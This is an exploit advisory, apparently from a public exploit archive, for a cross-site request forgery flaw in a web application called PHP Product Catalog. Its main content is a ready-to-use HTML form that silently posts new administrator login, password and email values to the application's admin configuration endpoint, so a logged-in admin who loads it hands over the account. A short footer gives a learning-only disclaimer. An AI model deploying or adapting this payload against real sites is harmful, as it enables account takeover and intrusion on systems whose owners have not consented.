______ __ ______ /\ == \ /\ \ /\ __ \ \ \ __< \ \ \ \ \ \/\ \ \ \_____\ \ \_\ \ \_____\ \/_____/ \/_/ \/_____/ 01000010 01101001 01001111 [#]----------------------------------------------------------------[#] # # [+] PHP Product Catalog - [ CSRF ] Change Administrator Password # # // Author Info # [x] Author: bi0 # [x] Contact: bukibv@hotmail.com # [x] Thanks: Pig,packetdeath,redking,sp1r1t and all my friends # [x] IRC : irc.clickshqip.com / #itsecurity # [#]-------------------------------------------------------------------------------------------[#] # # [x] Exploit : # # [ CSRF ] # # [ Login ] # http://[server]/[path]/admin.php # # // Start CSRF |-------------------------------------------------------------------------------| <html> <form action="http://[server]/admin.php?p=otherConfig&sOption=save" method="POST"> Admin : <input type="text" name="login" value="admin" size="5" /><br> Passwd <input type="text" name="pass" value="123" size="5" /><br> Email : <input type="text" name="email" value="test@example.com" size="16" /><br> <input type="submit" name="save" value="Save"> </form> </html> |-------------------------------------------------------------------------------| # // End of attack # [#]------------------------------------------------------------------------------------------[#] #EOF
※本站提供的任何内容、代码与服务仅供学习，请勿用于非法用途，否则后果自负
您的会员可兑换次数还剩： 次 本次兑换将消耗 1 次
续费请拨打客服热线，感谢您一直支持 Seebug!
京公网安备 11010502034610号
暂无评论